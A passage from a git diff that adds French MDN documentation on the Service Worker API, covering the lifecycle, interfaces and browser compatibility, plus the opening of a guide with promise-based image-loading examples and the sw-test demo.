+<p>Un service worker fonctionne dans le contexte d'un worker : il n'a donc pas d'accès au DOM, et s'exécute dans une tâche différente de celle du script principal de votre application, ainsi il est non-bloquant. Il est conçu pour être totalement asynchrone; en conséquence, des APIs telles que <a href="/fr/docs/Web/API/XMLHttpRequest">XHR</a> en synchrone et <a href="/fr/docs/Web/API/Web_Storage_API">localStorage</a> ne peuvent pas être utilisées au sein d'un service worker.</p>
+
+<p>Les service workers fonctionnent uniquement sur HTTPS, pour des raisons de sécurité. Laisser des requêtes réseau modifiées sans défense face aux attaques de l'homme du milieu est une bien mauvaise chose.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: les service workers ont rallié à eux des tentatives précédemment effectuées dans les mêmes domaines comme l'API <a class="external" href="http://alistapart.com/article/application-cache-is-a-douchebag">AppCache</a> parce qu'ils ne présument pas de ce que vous essayez de faire et ainsi s'interrompent quand ces suppositions ne sont pas tout à fait exactes; tout peut faire l'objet d'un contrôle d'une granularité très fine.</p>
+</div>
+
+<div class="note">
+<p><strong>Remarque </strong>: les service workers font un usage intensif des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise" lang="fr">promesses</a>, comme généralement ils sont en attente de réponses, auxquelles ils réagissent alors différemment en cas de succès ou en cas d'erreur. L'architecture des promesses est idéale dans ces situations.</p>
+</div>
+
+<h3 id="Enregistrement">Enregistrement</h3>
+
+<p>Un service worker est d'abord enregistré en utilisant la méthode {{domxref("ServiceWorkerContainer.register()")}}. En cas de succès, votre service worker sera téléchargé par le client et tentera l'installation/l'activation (voir ci-dessous) des URLs accédées par l'utilisateur au sein du domaine complet, ou bien au sein d'un sous-ensemble spécifié par vos soins.</p>
+
+<h3 id="Télécharger_installer_et_activer">Télécharger, installer et activer</h3>
+
+<p>A cette étape, votre service worker observera le cycle de vie suivant :</p>
+
+<ol>
+ <li>Téléchargement</li>
+ <li>Installation</li>
+ <li>Activation</li>
+</ol>
+
+<p>Le service worker est immédiatement téléchargé lorsqu'un utilisateur accède pour la première fois à une page ou à un site contrôlé par un service worker.</p>
+
+<p>Après cela, il est téléchargé toutes les 24 heures environ. Il *peut* être téléchargé plus fréquemment, mais il <strong>doit </strong>être téléchargé toutes les 24 heures pour s'assurer que des scripts défectueux ne constitueraient pas une nuisance durable.</p>
+
+<p>Une tentative d'installation a lieu lorsque le fichier téléchargé se trouve être nouveau — soit qu'il est différent d'un service worker existant (comparaison bit à bit), soit qu'il s'agit du premier service worker rencontré pour cette page ou ce site.</p>
+
+<p>Si c'est la première fois qu'un service worker est rendu disponible, une tentative d'installation a lieu, puis en cas d'installation avec succès il est activé.</p>
+
+<p>S'il existait déjà un service worker, la nouvelle version est installée en arrière-plan, mais pas encore activée — à cette étape, on parle de <em>worker en attente</em>. Il n'est activé que lorsqu'il n'y a plus aucune page chargée faisant encore usage de l'ancien service worker. Aussitôt qu'il n'y a plus de telles pages chargées, le nouveau service worker est activé (devenant le <em>active worker</em>.)</p>
+
+<p>Vous pouvez guetter l'événement {{domxref("InstallEvent")}}; une action standard consiste à préparer l'usage de votre service worker quand cet événement est lancé, par exemple en créant un cache au moyen de l'API de stockage native, et en y plaçant les ressources dont vous avez besoin pour faire fonctionner de manière déconnectée votre application.</p>
+
+<p>Il y a aussi un événement <code>activate</code>. Lorsque cet événement se produit, c'est généralement le bon moment pour nettoyer les vieux caches et toutes les autres choses associées avec la version précédente de votre service worker.</p>
+
+<p>Votre service worker peut répondre aux requêtes en utilisant l'événement {{domxref("FetchEvent")}}. Vous pouvez modifier la réponse à ces requêtes de la manière que vous souhaitez, en utilisant la méthode {{domxref("FetchEvent.respondWith") }}.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: Parce que <code>oninstall</code>/<code>onactivate</code> pourraient prendre du temps à s'exécuter, la spec service worker fournit une méthode <code>waitUntil</code> qui, lorsque <code>oninstall</code> ou <code>onactivate</code> sont appelées, passe une promesse. Les événements fonctionnels ne sont pas envoyés au service worker tant que la promesse n'a pas été résolue avec succès.</p>
+</div>
+
+<p>Pour un tutoriel complet qui montre comment réaliser un premier exemple basique, il est conseillé de lire <a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Services Workers</a>.</p>
+
+<h2 id="Autres_idées_de_cas_d'utilisation">Autres idées de cas d'utilisation</h2>
+
+<p>Les service workers sont aussi destinés à être utilisés pour des choses telles que :</p>
+
+<ul>
+ <li>Synchronisation de données en arrière-plan</li>
+ <li>Répondre à des requêtes de ressource provenant d'autres origines</li>
+ <li>Recevoir des mises à jour centralisées de données coûteuses à calculer telles que la géolocalisation ou le gyroscope, afin que de nombreuses pages puissent bénéficier du même ensemble de données</li>
+ <li>Compilation côté client et gestion des dépendances de CoffeeScript, less, modules CJS/AMD, etc. pour des besoins de développement</li>
+ <li>Branchements pour des services en arrière-plan</li>
+ <li>Personnalisation de gabarit en fonction de certains schémas d'URL</li>
+ <li>Amélioration des performances, par exemple en pré-chargeant des ressources dont l'utilisateur aura probablement besoin par la suite, comme de nouvelles images lors de la consultation d'un album photo.</li>
+</ul>
+
+<p>À l'avenir, les service workers seront capables de réaliser nombre d'autres tâches utiles au sein d'une plate-forme web, ce qui les rapprochera de la viabilité des applications natives. Il est intéressant de noter que d'autres spécifications peuvent ou commencent à faire usage du contexte des service workers, par exemple :</p>
+
+<ul>
+ <li><a class="external" href="https://github.com/slightlyoff/BackgroundSync">Synchronisation en arrière-plan</a> : démarrer un service worker même lorsqu'aucun utilisateur est sur le site, afin de mettre à jour les caches, etc.</li>
+ <li><a href="/fr/docs/Web/API/Push_API">Réagir à des messages de push </a>: démarrer un service worker pour envoyer aux utilisateurs un message leur signalant qu'un nouveau contenu est disponible.</li>
+ <li>Réagir à une date particulière</li>
+ <li>Enregistrer une géo-localisation</li>
+</ul>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Cache") }}</dt>
+ <dd>Représente le stockage pour le couple d'objets {{domxref("Request")}} / {{domxref("Response")}} qui sont mis en cache comme partie du cycle de vie de {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("CacheStorage") }}</dt>
+ <dd>Représente le stockage pour les objets {{domxref("Cache")}}. Il fournit un répertoire maître à tous les caches nommés auxquels un {{domxref("ServiceWorker")}} peut accéder et maintient une correspondance de noms avec les objets {{domxref("Cache")}} correspondants.</dd>
+ <dt>{{domxref("Client") }}</dt>
+ <dd>Représente la portée d'un service worker client. Un service worker client est soit un document dans le contexte d'un navigateur ou un {{domxref("SharedWorker")}}, qui est contrôlé par un active worker.</dd>
+ <dt>{{domxref("Clients") }}</dt>
+ <dd>Représente un conteneur pour une liste d'objets {{domxref("Client")}}; la façon principale d'accéder aux clients du service worker actif de l'origine en cours.</dd>
+ <dt>{{domxref("ExtendableEvent") }}</dt>
+ <dd>Étend la durée de vie des événements <code>install</code> et <code>activate</code> envoyés au {{domxref("ServiceWorkerGlobalScope")}} comme partie du cycle de vie d'un service worker. Cela garantit que tout événement fonctionnel (comme {{domxref("FetchEvent")}}) n'est pas envoyé au {{domxref("ServiceWorker")}} avant qu'il ne mette à jour des schémas de base de données, supprime des entrées de cache obsolètes, etc.</dd>
+ <dt>{{domxref("ExtendableMessageEvent") }}</dt>
+ <dd>L'objet événement d'un événement {{event("message_(ServiceWorker)","message")}} déclenché sur un service worker (lorsqu'un message est reçu par le {{domxref("ServiceWorkerGlobalScope")}} à partir d'un autre contexte) — étend la durée de vie de tels événements.</dd>
+ <dt>{{domxref("FetchEvent") }}</dt>
+ <dd>Le paramètre passé au gestionnaire {{domxref("ServiceWorkerGlobalScope.onfetch")}}, l'interface <code>FetchEvent</code> représente une action de recherche qui est envoyée au {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}. Il contient des informations à propos de la requête et de la réponse résultante, et fournit la méthode {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}}, qui nous permet de produire une réponse arbitraire en retour à la page contrôlée.</dd>
+ <dt>{{domxref("InstallEvent") }}</dt>
+ <dd>Le paramètre passé au gestionnaire {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}}, l'interface <code>InstallEvent</code> représente une action d'installation qui est envoyée au {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}. En tant qu'enfant de {{domxref("ExtendableEvent")}}, il garantit que les événements fonctionnels tels que {{domxref("FetchEvent")}} ne sont pas envoyés pendant l'installation. </dd>
+ <dt>{{domxref("Navigator.serviceWorker") }}</dt>
+ <dd>Retourne un objet {{domxref("ServiceWorkerContainer")}}, qui fournit un accès provides à l'enregistrement, la supression, la mise à jour, et la communication avec les objets {{domxref("ServiceWorker")}} pour le <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">document associé</a>.</dd>
+ <dt>{{domxref("NotificationEvent") }}</dt>
+ <dd>Le paramètre passé au gestionnaire {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}}, l'interface <code>NotificationEvent</code> représente un événement de notification au clic qui est envoyé au {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("PeriodicSyncEvent")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>Le paramètre passé au gestionnaire sync, l'interface SyncEvent représente une action de synchronisation périodique qui est envoyée au  {{domxref("ServiceWorkerGlobalScope")}} d'un ServiceWorker. </p>
+ </dd>
+ <dt>{{domxref("PeriodicSyncManager")}} {{non-standard_inline}}</dt>
+ <dd>Fournit une interface pour l'enregistrement et la récupération des objets {{domxref("PeriodicSyncRegistration")}}.</dd>
+ <dt>{{domxref("PeriodicSyncRegistration")}} {{non-standard_inline}}</dt>
+ <dd>Fournit un objet pour la gestion d'une synchronisation périodique en arrière-plan. </dd>
+ <dt>{{domxref("ServiceWorker") }}</dt>
+ <dd>Représente un service worker. De multiples contextes de navigation (e.g. des pages, des workers, etc.) peuvent être associés au même objet <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorkerContainer") }}</dt>
+ <dd>Fournit un objet représentant le service worker comme une unité d'ensemble dans l'éco-système du réseau, en incluant des facilités d'enregistrement, de désinscription et de mise à jour des service workers, et d'accès à l'état des service workers et de leur enregistrement.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope") }}</dt>
+ <dd>Représente le contexte global d'exécution d'un service worker.</dd>
+ <dt>{{domxref("ServiceWorkerMessageEvent")}}</dt>
+ <dd>Contient des informations à propos d'un événement envoyé à la cible d'un {{domxref("ServiceWorkerContainer")}}. </dd>
+ <dt>{{domxref("ServiceWorkerRegistration") }}</dt>
+ <dd>Représente l'enregistrement d'un service worker.</dd>
+ <dt>{{domxref("SyncEvent")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>Le paramètre passé au gestionnaire sync, l'interface SyncEvent représente une action de synchronisation qui est envoyée au {{domxref("ServiceWorkerGlobalScope")}} d'un ServiceWorker. </p>
+ </dd>
+ <dt>{{domxref("SyncManager")}} {{non-standard_inline}}</dt>
+ <dd>Fournit une interface pour l'enregistrement et la récupération des objets {{domxref("SyncRegistration")}}.</dd>
+ <dt>{{domxref("SyncRegistration")}} {{non-standard_inline}}</dt>
+ <dd>Fournit un objet pour la gestion d'une synchronisation en arrière-plan.</dd>
+ <dt>{{domxref("WindowClient") }}</dt>
+ <dd>Représente la portée d'un service worker client qui est un document dans le contexte d'un navigateur, contrôlé par un active worker. C'est un type spécial d'objet {{domxref("Client")}}, avec des propriété et des méthodes supplémentaires.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{ CompatibilityTable() }}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>24</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>install/activate events</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>fetch event/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>caches/cache</td>
+   <td>
+    <p class="p1">{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("39.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td> </td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td> install/activate events</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>fetch event/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>caches/cache</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("39.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note">
+<p><strong>Remarque </strong>: pour une raison de rétrocompatibilité, vous pourriez choisir d'utiliser à la fois les service workers et AppCache sur la même application web pour réaliser des choses équivalentes (si AppCache permet de les réaliser, bien entendu.) Dans une telle situation, il y aura les navigateurs qui ne supportent pas les Service Workers et qui utiliseront alors AppCache, et ceux qui ignoreront AppCache au profit du service worker.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers" lang="fr">Utilisation des Service Workers</a></li>
+ <li><a class="external" href="https://github.com/mdn/sw-test">Exemple basique de Service workers</a></li>
+ <li><a class="external" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise">Promises</a></li>
+ <li><a href="/fr/docs/Utilisation_des_web_workers">Utilisation des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/service_worker_api/using_service_workers/index.html b/files/fr/web/api/service_worker_api/using_service_workers/index.html
new file mode 100644
index 0000000000..be23121f08
--- /dev/null
+++ b/files/fr/web/api/service_worker_api/using_service_workers/index.html
@@ -0,0 +1,522 @@
+---
+title: Utiliser les Service Workers
+slug: Web/API/Service_Worker_API/Using_Service_Workers
+tags:
+  - Guide
+  - Service
+  - ServiceWorker
+  - Workers
+  - basics
+translation_of: Web/API/Service_Worker_API/Using_Service_Workers
+---
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<div class="summary">
+<p>Cet article fournit des informations pour bien débuter avec les service workers, en présentant une architecture de base, l'inscription d'un service worker, l'installation et l'activation d'un processus pour un nouveau service worker, la mise à jour d'un service worker, le contrôle du cache et la personnalisation des réponses, le tout dans le contexte d'une application de base disponible en mode déconnecté.</p>
+</div>
+
+<h2 id="Le_préambule_aux_Service_Workers">Le préambule aux Service Workers</h2>
+
+<p>La perte de connexion est un problème majeur auquel sont confrontés les utilisateurs du web depuis des années. La meilleure application web au monde produirait un bien mauvais effet si vous ne pouviez pas la télécharger. Il y a eu de nombreuses tentatives pour mettre en place des technologies susceptibles de résoudre ce problème, comme le montre notre page <a href="/fr/Apps/Build/Hors-ligne">Offline</a>, et certains problèmes ont été résolus. Mais le problème principal reste l'absence d'un mécanisme de contrôle global pour la mise en cache des ressources et la personnalisation des requêtes réseau.<br>
+ <br>
+ La première tentative— AppCache — semblait être une bonne idée parce qu'elle permettait de spécifier les ressources à mettre en cache de manière très simple. Cependant, elle faisait beaucoup de suppositions sur la manière de le mettre en place et échouait implacablement si votre application ne se pliait pas exactement à ces suppositions. Lisez <a href="http://alistapart.com/article/application-cache-is-a-douchebag">Application Cache is a Douchebag</a> de Jake Archibald pour plus de détails.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: à partir de Firefox 44, lorsque <a href="/fr/docs/Web/HTML/Utiliser_Application_Cache">AppCache</a> est utilisé pour fournir un support déconnecté à une page, un message d'avertissement est alors affiché dans la console pour signaler aux développeurs d'utiliser plutôt les <a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> ({{bug("1204581")}}.)</p>
+</div>
+
+<p>Les service workers devraient finalement résoudre ces problèmes. La syntaxe du service Worker est plus complexe que celle de l'AppCache, mais en contrepartie vous pouvez utiliser JavaScript pour contrôler les comportements induits par votre cache local avec une granularité beaucoup plus fine, vous permettant ainsi d'adresser ce problème et beaucoup d'autres. Avec l'aide d'un Service Worker, vous pouvez facilement configurer une application pour d'abord utiliser des ressources mises en cache, fournissant ainsi une première expérience par défaut même en mode déconnecté, avant de récupérer davantage de données depuis le réseau (principe connu généralement sous le nom de <a href="http://offlinefirst.org/">Offline First</a>). Cette façon de faire est déjà disponible avec les applications natives, ce qui est l'une des raisons principales de la préférence accordée à ces applications plutôt qu'aux applications web.</p>
+
+<h2 id="Préparatifs_aux_Service_Workers">Préparatifs aux Service Workers</h2>
+
+<p>De nombreuses fonctionnalités des service workers sont désormais disponibles par défaut dans les plus récentes versions des navigateurs qui les supportent. Cependant, si vous constatez que le code de la démo ne fonctionne pas dans votre version actuelle, vous pourriez avoir besoin d'activer une configuration :</p>
+
+<ul>
+ <li><strong>Firefox Nightly </strong>: rendez-vous sur <code>about:config</code> et configurer  <code>dom.serviceWorkers.enabled</code> à true; redémarrer le navigateur.</li>
+ <li><strong>Chrome Canary </strong>: rendez-vous sur <code>chrome://flags</code> et activer <code>experimental-web-platform-features</code>; redémarrer le navigateur (à noter que certaines fonctionnalités sont désormais activées par défaut dans Chrome.)</li>
+ <li><strong>Opera </strong>: rendez-vous sur <code>opera://flags</code> et activer <code>Support for ServiceWorker</code>; redémarrer le navigateur.</li>
+</ul>
+
+<p>Vous aurez aussi besoin de servir votre code via HTTPS — les Service Workers sont contraints à s'exécuter au travers d'HTTPS pour des raisons de sécurité. GitHub est donc un bon endroit pour héberger des expérimentations, puisqu'il supporte HTTPS. Et pour faciliter le développement en local, le <strong>localhost </strong>est considéré comme une origine sécurisée.</p>
+
+<h2 id="Architecture_de_base">Architecture de base</h2>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8241/flowchart-production-version.png" style="float: right; height: 600px; margin-left: 20px; width: 300px;"></p>
+
+<p>Avec les service workers, les étapes suivantes sont généralement observées pour une configuration simple :</p>
+
+<ol>
+ <li>L'URL du service worker URL est récupérée et enregistrée via {{domxref("serviceWorkerContainer.register()")}}.</li>
+ <li>En cas de succès, le service worker est exécuté dans un {{domxref("ServiceWorkerGlobalScope") }}; c'est en gros une sorte de contexte de worker spécial, fonctionnant hors du fil d'exécution du script principal, sans accès au DOM.</li>
+ <li>Le service worker est désormais prêt à traiter des événements.</li>
+ <li>Une tentative d'installation du worker a lieu lorsque les pages contrôlées par le service worker sont accédées par la suite. Un événement install est toujours le premier envoyé à un service worker (ça peut être le point de départ pour procéder au remplissage d'une base IndexedDB, et à la mise en cache de ressources du site). C'est tout à fait le même type de procédure que l'installation d'une application native ou Firefox OS — en mettant l'ensemble à disposition pour un usage déconnecté.</li>
+ <li>Lorsque le gestionnaire <code>oninstall</code> se termine, on considère que le service worker est installé.</li>
+ <li>L'étape suivante est l'activation. Lorsque le service worker est installé, il reçoit alors un événement activate. L'utilité première de <code>onactivate</code> est de nettoyer les ressources utilisées dans les versions précédentes du script du Service Worker.</li>
+ <li>Le Service Worker contrôle désormais les pages, mais seulement celles ouvertes après que le <code>register()</code> ait réussi. Ainsi un document à sa création s'accompagne ou non d'un Service Worker et conserve cet état tout au long de sa durée de vie. Ainsi les documents devront être rechargés pour réellement être contrôlés.</li>
+</ol>
+
+<h3 id="Promesses">Promesses</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise">Les Promesses</a> sont un puissant mécanisme pour exécuter des opérations asynchrones, dont le succès de l'une dépend du succès de l'autre. Ce mécanisme est au coeur du fonctionnement des service workers.<br>
+ <br>
+ Les promesses peuvent effectuer bien des choses, mais pour le moment il suffit de savoir que si une promesse est retournée, on peut lui attacher un <code>.then()</code> et inclure des fonctions de rappel en cas de succès, d'échec, etc., ou bien un <code>.catch()</code> et inclure une fonction de rappel en cas d'échec.</p>
+
+<p>Comparons la structure d'une fonction classique de rappel synchrone à la promesse asynchrone équivalente.</p>
+
+<h4 id="sync">sync</h4>
+
+<pre class="brush: js notranslate">try {
+  var value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}</pre>
+
+<h4 id="async">async</h4>
+
+<pre class="brush: js notranslate">myFunction().then(function(value) {
+  console.log(value);
+  }).catch(function(err) {
+  console.log(err);
+});</pre>
+
+<p>Dans le premier exemple, on doit attendre que l'exécution de <code>myFunction()</code> retourne <code>value</code> avant de poursuivre l'exécution de tout autre code. Dans le second exemple, <code>myFunction()</code> retourne une promesse pour <code>value</code>, ainsi le reste du code peut continuer à s'exécuter. Lorsque la promesse est résolue, le code à l'intérieur de <code>then</code> s'exécutera, de manière asynchrone.<br>
+ <br>
+ Qu'en est-il sur un exemple concret — qu'en est-il si, lors d'un chargement dynamique d'images, on veut être sûre qu'elles soient bien chargées avant de les afficher ? C'est une démarche standard à adopter, mais parfois problématique. On peut utiliser <code>.onload</code> pour n'afficher l'image qu'après qu'elle soit chargée, mais qu'en est-il des événements qui démarrent avant qu'on ne commence à les écouter ? On pourrait essayer un contournement en utilisant <code>.complete</code>, mais ce n'est toujours pas infaillible, et que faire en cas d'images multiples ? Et, ummm, tout cela reste synchrone, et bloque donc le fil d'exécution principal.<br>
+ <br>
+ Alternativement, on pourrait faire notre propre promesse pour gérer ce genre de cas. (Voir l'exemple du <a href="https://github.com/mdn/promises-test">test de promesses</a> pour le code source, ou <a href="https://mdn.github.io/promises-test/">le voir fonctionner en direct</a>.)</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: la mise en place d'un véritable service worker utiliserait la mise en cache et onfetch plutôt que l'API obsolète XMLHttpRequest. Ces fonctionnalités ne sont pas utilisées ici afin de se concentrer sur la compréhension des promesses.</p>
+</div>
+
+<pre class="brush: js notranslate">function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = function() {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}</pre>
+
+<p>On retourne une nouvelle promesse en utilisant le constructeur <code>Promise()</code>, qui prend en argument une fonction de rappel avec les paramètres <code>resolve</code> et <code>reject</code>. Quelque part dans la fonction, on a besoin de définir à quoi correspond pour la promesse d'être résolue avec succès ou bien d'être rejetée — dans ce cas, retourner un statut 200 OK status ou pas — et donc appleler <code>resolve</code> en cas de succès, ou <code>reject</code> en cas d'échec. Le reste du contenu de cette fonction correspond à une utilisation plutôt classique d'XHR, et n'appelle pas de commentaires particuliers pour le moment.</p>
+
+<p>Lorsqu'on appelle la fonction <code>imgLoad()</code>, on l'appelle avec l'url de l'image à charger, comme on pourrait s'en douter, mais le reste du code est un peu différent :</p>
+
+<pre class="brush: js notranslate">var body = document.querySelector('body');
+var myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then(function(response) {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, function(Error) {
+  console.log(Error);
+});</pre>
+
+<p>A la fin de l'appel de la fonction, on ajoute la méthode <code>then()</code> de la promesse, qui contient deux fonctions — la première est exécutée lorsque la promesse est résolue avec succès, et la seconde est appelée lorsque la promesse est rejetée. Dans le cas d'une résolution, on affiche l'image dans : <code>myImage</code> et on l'ajoute au <code>body</code> (son argument est la valeur <code>request.response</code> contenue dans la méthode <code>resolve</code> de la promesse); en cas de rejet, on retourne une erreur dans la console.</p>
+
+<p>Le tout se déroule de manière asynchrone.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: il est possible d'assembler des appels de promesse, par exemple:<br>
+ <code>myPromise().then(success, failure).then(success).catch(failure);</code></p>
+</div>
+
+<div class="note">
+<p><strong>Remarque </strong>: pour en savoir plus sur les promesses, consulter l'excellent article de Jake Archibald <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises: there and back again</a>.</p>
+</div>
+
+<h2 id="Démo_de_service_workers">Démo de service workers</h2>
+
+<p>Pour illustrer quelques principes de base de l'enregistrement et de l'installation d'un service worker, voici une simple démo appelée <a href="https://github.com/mdn/sw-test">sw-test</a>, qui présente juste une galerie d'images Star wars Lego. Elle utilise une fonction pilotée par une promesse pour lire les données d'une image à partir d'un objet JSON et charger les images en utilisant Ajax, avant d'afficher les images en bas de page. Les choses restent statiques et simples pour le moment. Elle enregistre aussi, installe et active un service worker, et lorsque la specification est davantage supportée par les navigateurs, elle met en cache tous les fichiers requis pour un fonctionnement déconnecté !</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
+ <br>
+ <br>
+ Vous pouvez consulter le <a href="https://github.com/mdn/sw-test/">code source sur GitHub</a>, et <a href="https://mdn.github.io/sw-test/">voir l'exemple en direct</a>. Le bout de code qui sera appelé est la promesse (voir <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L17-L42">app.js lines 17-42</a>), qui est une version modifiée du code présenté ci-dessus, dans la <a href="https://github.com/mdn/promises-test">démo du test de promesses</a>. Il en diffère de la façon suivante :</p>
+
+<ol>
+ <li>Dans l'original, on considère l'URL d'une image à charger. Dans cette version, on passe un fragment JSON contenant toutes les données d'une seule image (voir à quoi il ressemble dans <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). C'est parce que toutes les données pour que chaque promesse soit résolue doivent être passé avec la promesse, que c'est asynchrone. Si l'on passe juste l'url, et si l'on essaie alors d'accéder aux autres éléments dans le JSON séparément lorsqu'on itère plus tard avec la boucle <code>for()</code>, cela ne marchera pas, puisque la promesse ne se résolvera pas en même temps que les itérations sont faites (c'est un mécanisme synchrone.)</li>
+ <li>La promesse est résolue en réalité avec un tableau, puisqu'on veut rendre le blob de l'image chargée disponible à la fonction de résolution plus tard dans le code, mais aussi le nom de l'image, les crédits et le texte alternatif (voir <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L26-L29">app.js lines 26-29</a>). Les promesses se résolvent seulement avec un seul argument, aussi si l'on souhaite la résoudre avec des valeurs multiples, on a besoin d'utiliser un tableau ou un objet.</li>
+ <li>Pour accéder aux valeurs de la promesse résolue, on accède alors à cette fonction comme on peut s'y attendre (voir <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L55-L59">app.js lines 55-59</a>.) Cela peut sembler un peu étrange au premier abord, mais c'est la manière dont les promesses fonctionnent.</li>
+</ol>
+
+<h2 id="Introduction_aux_service_workers">Introduction aux service workers</h2>
+
+<p>Maintenant, c'est au tour des service workers !</p>
+
+<h3 id="Enregistrer_un_worker">Enregistrer un worker</h3>
+
